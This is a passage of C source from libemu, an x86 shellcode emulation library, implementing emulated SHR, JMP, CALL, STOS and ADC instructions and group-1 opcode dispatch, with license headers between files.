SHR r/m8,1 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8, 1); MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* D0 /5 * Unsigned divide r/m8 by 2, once * SHR r/m8,1 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], 1); } return 0; } int32_t instr_group_2_d1_shr(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* D1 /5 * Unsigned divide r/m16 by 2, once * SHR r/m16,1 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16, 1); MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* D1 /5 * Unsigned divide r/m32 by 2, once * SHR r/m32,1 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32, 1); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* D1 /5 * Unsigned divide r/m16 by 2, once * SHR r/m16,1 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], 1); } else { /* D1 /5 * Unsigned divide r/m32 by 2, once * SHR r/m32,1 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], 1); } } return 0; } int32_t instr_group_2_d2_shr(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* D2 /5 * Unsigned divide r/m8 by 2, CL times * SHR r/m8,CL */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8, *c->reg8[cl]); MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* D2 /5 * Unsigned divide r/m8 by 2, CL times * SHR r/m8,CL */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *c->reg8[cl]); } return 0; } int32_t instr_group_2_d3_shr(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* D3 /5 * Unsigned divide r/m16 by 2, CL times * SHR r/m16,CL */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16, *c->reg8[cl]); MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* D3 /5 * Unsigned divide r/m32 by 2, CL times * SHR r/m32,CL */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32, *c->reg8[cl]); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* D3 /5 * Unsigned divide r/m16 by 2, CL times * SHR r/m16,CL */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *c->reg8[cl]); } else { /* D3 /5 * Unsigned divide r/m32 by 2, CL times * SHR r/m32,CL */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], *c->reg8[cl]); } } return 0; } libemu-0.2.0+git20120122+564/src/functions/jmp.c0000644000175300017530000000727611706767213017610 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" int32_t instr_jmp_e9(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* E9 cw * Jump near, relative, displacement relative to next instruction * JMP rel16 */ /* E9 cd * Jump near, relative, displacement relative to next instruction * JMP rel32 */ c->eip += i->disp; SOURCE_NORM_POS(c->instr, c->eip); return 0; } int32_t instr_jmp_ea(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* EA cd * Jump far, absolute, address given in operand * JMP ptr16:16 */ /* EA cp * Jump far, absolute, address given in operand * JMP ptr16:32 */ UNIMPLEMENTED(c, SST); } int32_t instr_jmp_eb(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* EB cb * Jump short, relative, displacement relative to next instruction * JMP rel8 */ c->eip += i->disp; SOURCE_NORM_POS(c->instr, c->eip); return 0; } int32_t instr_group_5_ff_jmp(struct emu_cpu *c, struct emu_cpu_instruction *i) { if( i->modrm.opc == 4 ) { if( i->modrm.mod != 3 ) { if( i->prefixes & PREFIX_OPSIZE ) { /* FF /4 * Jump near, absolute indirect, address given in r/m16 * JMP r/m16 */ uint16_t disp; MEM_WORD_READ(c, i->modrm.ea, &disp); c->eip = disp; SOURCE_NORM_POS(c->instr, c->eip); } else { /* FF /4 * Jump near, absolute indirect, address given in r/m32 * JMP r/m32 */ uint32_t disp; MEM_DWORD_READ(c, i->modrm.ea, &disp); c->eip = disp; SOURCE_NORM_POS(c->instr, c->eip); } } else { if( i->prefixes & PREFIX_OPSIZE ) { /* FF /4 * Jump near, absolute indirect, address given in r/m16 * JMP r/m16 */ c->eip = *c->reg16[i->modrm.rm]; SOURCE_NORM_POS(c->instr, c->eip); TRACK_NEED_REG16(c->instr, i->modrm.rm); } else { /* FF /4 * Jump near, absolute indirect, address given in r/m32 * JMP r/m32 */ c->eip = c->reg[i->modrm.rm]; SOURCE_NORM_POS(c->instr, c->eip); TRACK_NEED_REG32(c->instr, i->modrm.rm); } } } else /* /5 */ { /* unneeded */ /* FF /5 * Jump far, absolute indirect, address given in m16:16 * JMP m16:16 */ /* FF /5 * Jump far, absolute indirect, address given in m16:32 * JMP m16:32 */ UNIMPLEMENTED(c, SST); } return 0; } libemu-0.2.0+git20120122+564/src/functions/call.c0000644000175300017530000000657011706767213017731 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" int32_t instr_call_9a(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 9A cd * CALL ptr16:16 * Call far, absolute, address given in operand */ /* 9A cp * CALL ptr16:32 * Call far, absolute, address given in operand */ UNIMPLEMENTED(c, SST); } int32_t instr_call_e8(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* E8 cd * CALL rel32 * Call near, relative, displacement relative to next instruction */ /* E8 cw * CALL rel16 * Call near, relative, displacement relative to next instruction */ PUSH_DWORD(c, c->eip); c->eip += i->disp; SOURCE_NORM_POS(c->instr, c->eip); return 0; } int32_t instr_group_5_ff_call(struct emu_cpu *c, struct emu_cpu_instruction *i) { if( i->modrm.opc == 2 ) { PUSH_DWORD(c, c->eip); if( i->modrm.mod != 3 ) { if( i->prefixes & PREFIX_OPSIZE ) { /* FF /2 * CALL r/m16 * Call near, absolute indirect, address given in r/m16 */ uint16_t disp; MEM_WORD_READ(c, i->modrm.ea, &disp); c->eip = disp; SOURCE_NORM_POS(c->instr, c->eip); } else { /* FF /2 * CALL r/m32 * Call near, absolute indirect, address given in r/m32 */ uint32_t disp; MEM_DWORD_READ(c, i->modrm.ea, &disp); c->eip = disp; SOURCE_NORM_POS(c->instr, c->eip); } } else { if( i->prefixes & PREFIX_OPSIZE ) { /* FF /2 * CALL r/m16 * Call near, absolute indirect, address given in r/m16 */ c->eip = *c->reg16[i->modrm.rm]; SOURCE_NORM_POS(c->instr, c->eip); TRACK_NEED_REG16(c->instr, i->modrm.rm); } else { /* FF /2 * CALL r/m32 * Call near, absolute indirect, address given in r/m32 */ c->eip = c->reg[i->modrm.rm]; SOURCE_NORM_POS(c->instr, c->eip); TRACK_NEED_REG32(c->instr, i->modrm.rm); } } } else { /* FF /3 * CALL m16:16 * Call far, absolute indirect, address given in m16:16 */ /* FF /3 * CALL m16:32 * Call far, absolute indirect, address given in m16:32 */ UNIMPLEMENTED(c, SST); } return 0; } libemu-0.2.0+git20120122+564/src/functions/stoscc.c0000644000175300017530000000633211706767213020310 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" int32_t instr_stos_aa(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* AA * Store AL at address ES:(E)DI * STOS m8 */ /* AA * Store AL at address ES:(E)DI * STOSB */ if ( i->prefixes & PREFIX_ADSIZE ) { // MEM_BYTE_WRITE(c,c->reg16[si],*c->reg8[al]); UNIMPLEMENTED(c, SST); } else { if (i->prefixes & PREFIX_F3) { /* F3 AA * Fill ECX bytes at ES:[EDI] with AL * REP STOS m8 */ if (c->reg[ecx] > 0 ) { c->reg[ecx]--; c->repeat_current_instr = true; MEM_BYTE_WRITE(c,c->reg[edi],*c->reg8[al]); if ( !CPU_FLAG_ISSET(c,f_df) ) { /* increment */ c->reg[edi] += 1; }else { /* decrement */ c->reg[edi] -= 1; } } else c->repeat_current_instr = false; }else { MEM_BYTE_WRITE(c,c->reg[edi],*c->reg8[al]); if ( !CPU_FLAG_ISSET(c,f_df) ) { /* increment */ c->reg[edi] += 1; }else { /* decrement */ c->reg[edi] -= 1; } } } return 0; } int32_t instr_stos_ab(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->prefixes & PREFIX_OPSIZE ) { /* AB * Store AX at address ES:(E)DI * STOS m16 */ /* AB * Store AX at address ES:(E)DI * STOSW */ if ( i->prefixes & PREFIX_ADSIZE ) { // MEM_WORD_WRITE(c,c->reg16[si],*c->reg16[ax]); UNIMPLEMENTED(c, SST); } else { MEM_WORD_WRITE(c,c->reg[edi],*c->reg16[ax]); if ( !CPU_FLAG_ISSET(c,f_df) ) { /* increment */ c->reg[edi] += 2; } else { /* decrement */ c->reg[edi] -= 2; } } } else { /* AB * Store EAX at address ES:(E)DI * STOS m32 */ /* AB * Store EAX at address ES:(E)DI * STOSD */ if ( i->prefixes & PREFIX_ADSIZE ) { // MEM_DWORD_WRITE(c,c->reg16[si],c->reg[eax]); UNIMPLEMENTED(c, SST); } else { MEM_DWORD_WRITE(c,c->reg[edi],c->reg[eax]); if ( !CPU_FLAG_ISSET(c,f_df) ) { /* increment */ c->reg[edi] += 4; } else { /* decrement */ c->reg[edi] -= 4; } } } return 0; } libemu-0.2.0+git20120122+564/src/functions/group_1.c0000644000175300017530000000531511706767213020366 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_functions.h" #include "emu/emu_memory.h" int32_t instr_group_1_80(struct emu_cpu *c, struct emu_cpu_instruction *i) { static int32_t (*group_1_80_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = { /* 0 */ instr_group_1_80_add, /* 1 */ instr_group_1_80_or, /* 2 */ instr_group_1_80_adc, /* 3 */ instr_group_1_80_sbb, /* 4 */ instr_group_1_80_and, /* 5 */ instr_group_1_80_sub, /* 6 */ instr_group_1_80_xor, /* 7 */ instr_group_1_80_cmp, }; return group_1_80_fn[i->modrm.opc](c, i); } int32_t instr_group_1_81(struct emu_cpu *c, struct emu_cpu_instruction *i) { static int32_t (*group_1_81_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = { /* 0 */ instr_group_1_81_add, /* 1 */ instr_group_1_81_or, /* 2 */ instr_group_1_81_adc, /* 3 */ instr_group_1_81_sbb, /* 4 */ instr_group_1_81_and, /* 5 */ instr_group_1_81_sub, /* 6 */ instr_group_1_81_xor, /* 7 */ instr_group_1_81_cmp, }; return group_1_81_fn[i->modrm.opc](c, i); } int32_t instr_group_1_82(struct emu_cpu *c, struct emu_cpu_instruction *i) { return 0; } int32_t instr_group_1_83(struct emu_cpu *c, struct emu_cpu_instruction *i) { static int32_t (*group_1_83_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = { /* 0 */ instr_group_1_83_add, /* 1 */ instr_group_1_83_or, /* 2 */ instr_group_1_83_adc, /* 3 */ instr_group_1_83_sbb, /* 4 */ instr_group_1_83_and, /* 5 */ instr_group_1_83_sub, /* 6 */ instr_group_1_83_xor, /* 7 */ instr_group_1_83_cmp, }; return group_1_83_fn[i->modrm.opc](c, i); } libemu-0.2.0+git20120122+564/src/functions/adc.c0000644000175300017530000003144611706767213017545 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #if BYTE_ORDER == BIG_ENDIAN #define INSTR_CALC(bits, a, b, c, operation, cpu) \ UINTOF(bits) operand_a; \ UINTOF(bits) operand_b; \ bcopy(&(a), &operand_a, bits/8); \ bcopy(&(b), &operand_b, bits/8); \ UINTOF(bits) operation_result = operand_a operation operand_b operation ((cpu->eflags & (1 << f_cf))?1:0); \ bcopy(&operation_result, &(c), bits/8); #else // ENDIAN #define INSTR_CALC(bits, a, b, c, operation, cpu) \ UINTOF(bits) operand_a = a; \ UINTOF(bits) operand_b = b; \ UINTOF(bits) operation_result = operand_a operation operand_b operation ((cpu->eflags & (1 << f_cf))?1:0); \ c = operation_result; #endif // ENDIAN #define INSTR_SET_FLAG_OF(cpu, operand,bits) \ { \ int64_t sx = (INTOF(bits))operand_a; \ int64_t sy = (INTOF(bits))operand_b; \ int64_t sz = 0; \ \ sz = sx operand sy operand ((cpu->eflags & (1 << f_cf))?1:0); \ /*printf("of: sx %lli + sy %lli + cf %i = sz %lli \n", sx, sy, (cpu->eflags & (1 << f_cf))?1:0, sz);*/\ \ if (sz < max_inttype_borders[sizeof(operation_result)][0][0] || sz > max_inttype_borders[sizeof(operation_result)][0][1] \ || sz != (INTOF(bits))operation_result ) \ { \ CPU_FLAG_SET(cpu, f_of); \ }else \ { \ CPU_FLAG_UNSET(cpu, f_of); \ } \ } #define INSTR_SET_FLAG_CF(cpu, operand) \ { \ uint64_t ux = (uint64_t)operand_a; \ uint64_t uy = (uint64_t)operand_b; \ uint64_t uz = 0; \ uz = ux operand uy operand ((cpu->eflags & (1 << f_cf))?1:0); \ /*printf("cf: ux %lli + uy %lli + cf %i = uz %lli \n", ux, uy, (cpu->eflags & (1 << f_cf))?1:0, uz);*/\ \ if (uz < max_inttype_borders[sizeof(operation_result)][1][0] || uz > max_inttype_borders[sizeof(operation_result)][1][1] \ || uz != (uint64_t)operation_result ) \ { \ CPU_FLAG_SET(cpu, f_cf); \ }else \ { \ CPU_FLAG_UNSET(cpu, f_cf); \ } \ } #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" #ifdef INSTR_CALC_AND_SET_FLAGS #undef INSTR_CALC_AND_SET_FLAGS #endif // INSTR_CALC_AND_SET_FLAGS #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b, c, operation) \ INSTR_CALC(bits, a, b, c, operation, cpu) \ INSTR_SET_FLAG_ZF(cpu) \ INSTR_SET_FLAG_PF(cpu) \ INSTR_SET_FLAG_SF(cpu) \ INSTR_SET_FLAG_OF(cpu, operation, bits) \ INSTR_SET_FLAG_CF(cpu, operation) #define TRACK_INIT_ALL_FLAGS(instruction_p) \ TRACK_INIT_EFLAG(instruction_p, f_zf); \ TRACK_INIT_EFLAG(instruction_p, f_pf); \ TRACK_INIT_EFLAG(instruction_p, f_sf); \ TRACK_INIT_EFLAG(instruction_p, f_of); \ TRACK_INIT_EFLAG(instruction_p, f_cf); int32_t instr_adc_10(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); /* 10 /r * Add with carry byte register to r/m8 * ADC r/m8,r8 */ if ( i->modrm.mod != 3 ) { uint8_t dst; MEM_BYTE_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(8, c, dst, *c->reg8[i->modrm.opc], dst, +) MEM_BYTE_WRITE(c, i->modrm.ea, dst); } else { INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *c->reg8[i->modrm.opc], *c->reg8[i->modrm.rm], +) } return 0; } int32_t instr_adc_11(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 11 /r * Add with carry r16 to r/m16 * ADC r/m16,r16 */ uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, *c->reg16[i->modrm.opc], dst, +) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 11 /r * Add with CF r32 to r/m32 * ADC r/m32,r32 */ uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, c->reg[i->modrm.opc], dst, +) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 11 /r * Add with carry r16 to r/m16 * ADC r/m16,r16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *c->reg16[i->modrm.opc], *c->reg16[i->modrm.rm], +) } else { /* 11 /r * Add with CF r32 to r/m32 * ADC r/m32,r32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], c->reg[i->modrm.opc], c->reg[i->modrm.rm], +) } } return 0; } int32_t instr_adc_12(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); /* 12 /r * Add with carry r/m8 to byte register * ADC r8,r/m8 */ if ( i->modrm.mod != 3 ) { uint8_t op; MEM_BYTE_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(8, c, op, *c->reg8[i->modrm.opc], *c->reg8[i->modrm.opc], +) } else { INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.opc], *c->reg8[i->modrm.rm], *c->reg8[i->modrm.opc], +) } return 0; } int32_t instr_adc_13(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 13 /r * Add with carry r/m16 to r16 * ADC r16,r/m16 */ uint16_t op; MEM_WORD_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(16, c, op, *c->reg16[i->modrm.opc], *c->reg16[i->modrm.opc], +) } else { /* 13 /r * Add with CF r/m32 to r32 * ADC r32,r/m32 */ uint32_t op; MEM_DWORD_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(32, c, op, c->reg[i->modrm.opc], c->reg[i->modrm.opc], +) } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 13 /r * Add with carry r/m16 to r16 * ADC r16,r/m16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *c->reg16[i->modrm.opc], *c->reg16[i->modrm.opc], +) } else { /* 13 /r * Add with CF r/m32 to r32 * ADC r32,r/m32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], c->reg[i->modrm.opc], c->reg[i->modrm.opc], +) } } return 0; } int32_t instr_adc_14(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); /* 14 ib * Add with carry imm8 to AL * ADC AL,imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[al], *i->imm8, *c->reg8[al], +) return 0; } int32_t instr_adc_15(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->prefixes & PREFIX_OPSIZE ) { /* 15 iw * Add with carry imm16 to AX * ADC AX,imm16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[ax], *i->imm16, *c->reg16[ax], +) } else { /* 15 id * Add with carry imm32 to EAX * ADC EAX,imm32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[eax], i->imm, c->reg[eax], +) } return 0; } int32_t instr_group_1_80_adc(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if( i->modrm.mod != 3 ) { uint8_t dst; MEM_BYTE_READ(c, i->modrm.ea, &dst); /* dst <-- dst imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, dst, *i->imm8, dst, +) MEM_BYTE_WRITE(c, i->modrm.ea, dst); } else { /* reg8[rm] <-- reg8[rm] imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *i->imm8, *c->reg8[i->modrm.rm], +) } return 0; } int32_t instr_group_1_81_adc(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 81 /2 iw * Add with carry imm16 to r/m16 * ADC r/m16,imm16 */ uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, *i->imm16, dst, +) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 81 /2 id * Add with CF imm32 to r/m32 * ADC r/m32,imm32 */ uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, i->imm, dst, +) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 81 /2 iw * Add with carry imm16 to r/m16 * ADC r/m16,imm16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *i->imm16, *c->reg16[i->modrm.rm], +) } else { /* 81 /2 id * Add with CF imm32 to r/m32 * ADC r/m32,imm32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], i->imm, c->reg[i->modrm.rm], +) } } return 0; } int32_t instr_group_1_83_adc(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 83 /2 ib * Add with CF sign-extended imm8 to r/m16 * ADC r/m16,imm8 */ int16_t sexd = (int8_t)*i->imm8; uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, sexd, dst, +) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 83 /2 ib * Add with CF sign-extended imm8 into r/m32 * ADC r/m32,imm8 */ int32_t sexd = (int8_t)*i->imm8; uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, sexd, dst, +) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 83 /2 ib * Add with CF sign-extended imm8 to r/m16 * ADC r/m16,imm8 */ int16_t sexd = (int8_t)*i->imm8; INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], sexd, *c->reg16[i->modrm.rm], +) } else { /* 83 /2 ib * Add with CF sign-extended imm8 into r/m32 * ADC r/m32,imm8 */ int32_t sexd = (int8_t)*i->imm8; INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], sexd, c->reg[i->modrm.rm], +) } } return 0; } libemu-0.2.0+git20120122+564/src/functions/repcc.c0000644000175300017530000001666011706767213020113 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 645*/ /* F2 A6 REPNE CMPS m8,m8 Find matching bytes in ES:[(E)DI] and DS:[(E)SI] F2 A7 REPNE CMPS m16,m16 Find matching words in ES:[(E)DI] and DS:[(E)SI] F2 A7 REPNE CMPS m32,m32 Find matching doublewords in ES:[(E)DI] and DS:[(E)SI] F2 AE REPNE SCAS m8 Find AL, starting at ES:[(E)DI] F2 AF REPNE SCAS m16 Find AX, starting at ES:[(E)DI] F2 AF REPNE SCAS m32 Find EAX, starting at ES:[(E)DI] F3 6C REP INS r/m8, DX Input (E)CX bytes from port DX into ES:[(E)DI] F3 6D REP INS r/m16,DX Input (E)CX words from port DX into ES:[(E)DI] F3 6D REP INS r/m32,DX Input (E)CX doublewords from port DX into ES:[(E)DI] F3 6E REP OUTS DX,r/m8 Output (E)CX bytes from DS:[(E)SI] to port DX F3 6F REP OUTS DX,r/m16 Output (E)CX words from DS:[(E)SI] to port DX F3 6F REP OUTS DX,r/m32 Output (E)CX doublewords from DS:[(E)SI] to port DX F3 A4 REP MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI] F3 A5 REP MOVS m16,m16 Move (E)CX words from DS:[(E)SI] to ES:[(E)DI] F3 A5 REP MOVS m32,m32 Move (E)CX doublewords from DS:[(E)SI] to ES:[(E)DI] F3 A6 REPE CMPS m8,m8 Find nonmatching bytes in ES:[(E)DI] and DS:[(E)SI] F3 A7 REPE CMPS m16,m16 Find nonmatching words in ES:[(E)DI] and DS:[(E)SI] F3 A7 REPE CMPS m32,m32 Find nonmatching doublewords in ES:[(E)DI] and DS:[(E)SI] F3 AA REP STOS m8 Fill (E)CX bytes at ES:[(E)DI] with AL F3 AB REP STOS m16 Fill (E)CX words at ES:[(E)DI] with AX F3 AB REP STOS m32 Fill (E)CX doublewords at ES:[(E)DI] with EAX F3 AC REP LODS AL Load (E)CX bytes from DS:[(E)SI] to AL F3 AD REP LODS AX Load (E)CX words from DS:[(E)SI] to AX F3 AD REP LODS EAX Load (E)CX doublewords from DS:[(E)SI] to EAX F3 AE REPE SCAS m8 Find non-AL byte starting at ES:[(E)DI] F3 AF REPE SCAS m16 Find non-AX word starting at ES:[(E)DI] F3 AF REPE SCAS m32 Find non-EAX doubleword starting at ES:[(E)DI] */ int32_t instr_repcc_f2a6(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F2 A6 * Find matching 